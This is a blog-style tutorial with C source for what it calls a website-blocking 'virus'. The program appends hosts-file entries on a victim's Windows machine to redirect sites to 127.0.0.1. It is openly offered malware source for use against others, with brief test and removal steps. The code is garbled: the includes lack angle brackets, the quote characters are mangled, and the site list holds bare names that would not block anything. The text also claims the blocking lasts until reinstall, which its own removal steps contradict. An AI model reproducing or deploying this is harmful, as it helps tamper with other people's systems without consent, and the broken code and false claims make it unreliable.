A PROGRAM TO BLOCK WEBSITES...

Most  of us are familiar with the virus that used to block Orkut and Youtube  site. If you are curious about creating such a virus on your own, here  is how it can be done. As usual I’ll use my favorite programming  language ‘C’ to create this website blocking virus.
This virus has been exclusively created in ‘C’.  So, anyone with a basic knowledge of C will be able to understand the  working of the virus. This virus need’s to be clicked only once by the  victim. Once it is clicked, it’ll block a list of websites that has been  specified in the source code. The victim will never be able to surf  those websites unless he re-install’s the operating system. This  blocking is not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.
#include stdio.h
#include dos.h
#include dir.h
char site_list[6][30]={
“Google”,
“Google”,
“YouTube”,
“YouTube”,
“Yahoo”,
“Yahoo”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.at the bottom of the opened file you’ll see something like this
127.0.0.1                                Google
5. Delete all such entries which contain the names of blocked sites.

© Pilot Prosoft
Source: A PROGRAM TO BLOCK WEBSITES...